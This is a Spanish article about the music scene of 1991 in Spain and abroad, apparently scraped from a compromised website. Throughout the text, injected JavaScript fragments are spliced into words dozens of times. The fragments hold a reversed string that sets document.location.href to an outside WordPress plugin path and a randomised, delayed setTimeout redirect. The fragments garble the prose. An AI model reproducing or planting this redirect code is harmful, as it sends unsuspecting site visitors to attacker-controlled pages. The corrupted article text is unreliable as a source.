La España preolímpica

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    En España, las bandas de la movida daban ciertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos síntoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomas de agotamientoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to. Se habían convertido en omnipresentes durante una década en la que sólo había dos canales de televisión. Hacía sólo un año que emitían las privadas Antena 3 y Tele 5. España estaba a puntoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de entrar en su año Olímpico que, además, coincidía con la Expo de Sevilla y el 500 aniversario de la llegada a América de Colón. Las actuaciones de grupos con cargo a los consistoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torios públicos no se detenían. Las bandas no paraban de girar en un momentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to en que las carreteras arrojaban un escalofriante número de muertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos: 7000 sólo ese año.

    A partir de este momentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to, las bandas de los 80, aún soportados por la inercia triunfalista de los futuros fastoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos del 92, sacaban sus últimos discos relevantes o con menor impactoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to popular.  Los que aún estaban en fiesta ascendente, es decir, Mecano publicaban su último disco. También nacía el fenómeno Alejandro Sanz, aún como baladista italiano sin mostrar la parte más flamenca que luciría en sus próximos discos. 

    Al margen de los grupos de la movida o nueva ola y con los indies aún en estado casi embrionario, las dos bandas que más darán que hablar en la década, vivían su año clave. Por un lado, Héroes del Silencio que el mes anterior habían publicado “Senderos de Traición” se apuntalaban en Europa con otra manera de trabajar y con una un conceptoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to empresarial que rompía con los grupos anteriores. 

    Los Rodríguez lanzaba su primer disco y Camarón de la Isla dejaba su “Potro de rabia y miel” como último trabajo antes de fallecer.

    En las catacumbas 

    A principios de verano, se publicó uno de los mejores discos de la histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toria de nuestro país. “In Bitter Pink” de Los Bichos, quizá el puntoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to intermedio entre la independencia y el indie. Se trata de un disco doble tan irrepetible que no ha tenido secuela, tal era la personalidad de su líder, Josetxo Ezponda. La compleja amalgama de sus influencias hizo que nadie más transitase por esa vía.

    Surfin’ Bichos era la otra banda que se situaba en ese lugar donde no llegaba el dinero de la contratación municipal que eran las salas que se llenaban de un público ávido por descubrir otro tipo de propuestas. Ese mismo año sacaban  “Fotógrafo del cielo” con Virus, subsello de RCA. En un lugar del norte, Gijón, Penelope Trip publicaba su primer EP, tras quedar segundos en el concurso de maquetas de Rockdelux mientras que Paco Loco con su banda, Los Locos, había grabado su tercer álbum de estudio “Algo Salvaje” y estaba arrancando con su famoso estudio (los famosos ODDS de Gijón que, pocos años después, trasladó al Puertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de Santa María) y que permitirían grabar a los grupos de toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toda una generación por un módico precio y con un sonido más cercano a los referentes de esas bandas. Un productoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor que entendía a quienes buscaban estar lejos del sonido masivo que se radiaba en Los 40 Principales y que sabía quiénes eran Dinosaur Jr. Paco Loco amaba (y ama) a Lou Reed y a Velvet Underground tantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to o más que los grupos que allí grababan. 

    Fin de año, despedida y cierre.

    La fotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de hace tres décadas, lejos de parecer desenfocada, mantiene una nitidez asombrosa. Si en febrero, Queen habían publicado su último álbum de estudio “Innuendo”, tres décadas después, volvieron a tener un álbum en el número 1 en ventas . La canción del siglo XX más reproducida en streaming es “Bohemian Rhapsody”. A finales de ese mismo año, Freddie Mercury falleció de la epidemia del momentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to y, treinta años después, hemos vivido otra epidemia que ha dejado un reguero de muertoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos y un colapso económico. Si uno de los temas de actualidad es el asuntoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to Black Lives Matter, en 1991, un grupo de policías propinaba una brutal paliza al taxista Rodney King (negro, por supuestoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to), es una notica que desgraciadamente, no desentoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tona con lo que vivimos hoy en día. Beyoncé lo hubiera cantado y Colin Kaepernick también se hubiera arrodillado. En España, que en 2021 han aumentado los delitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos de odio un 10% frente a los datoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tos de hace dos años, también vivió en 1991 su tragedia cuando unos skins asesinaron a la transexual Sonia Rescalvo. Es considerado el primer delitoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to de odio contra el colectivo LGTBI.

    1991 terminó con nuevo mapamundi ya que al disgregarse la Unión Soviética, nacieron 14 países más al que hay que añadir la unificación de las dos Alemanias. En lo musical, el nuevo género que había subido a toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toda velocidad advirtiendo con descaro y arrogancia de ghettoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to que venían fuertes, se convirtieron en el altavoz de una población silenciada y marcaron hasta la manera de componer.  Kurt Kobain fue el último gran icono del rock y su sensibilidad incorporó temáticas muy poco habituales en la cultura popular, en lo que hoy podrían denominarse nuevas masculinidades. No en vano, en 1991 se formó Bikini Kill y PJ Harvey publicó “Dress”, su primer single. 

    A finales de noviembre, U2 que siempre habían tenido su antena desplegada, cambiaron el viaje americano de “Rattle and Hum” por los estudios Hansa de Berlín. Si hasta entoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tonces habían sido épicos, religiosos y comprometidos, con “Achtung Baby” entraron de lleno en la postmodernidad y optaron por el pastiche, la ironía, el discurso de doble y triple sentido y en la autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toparodia. Dieron la bienvenida masiva a los 90. 

    A los pocos meses, en febrero de 1992, “Nevermind” desplazaba a “Black or White” de Michael Jackson del número 1 de las listas de Billboard.

    1991, el año que lo cambió toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}todo.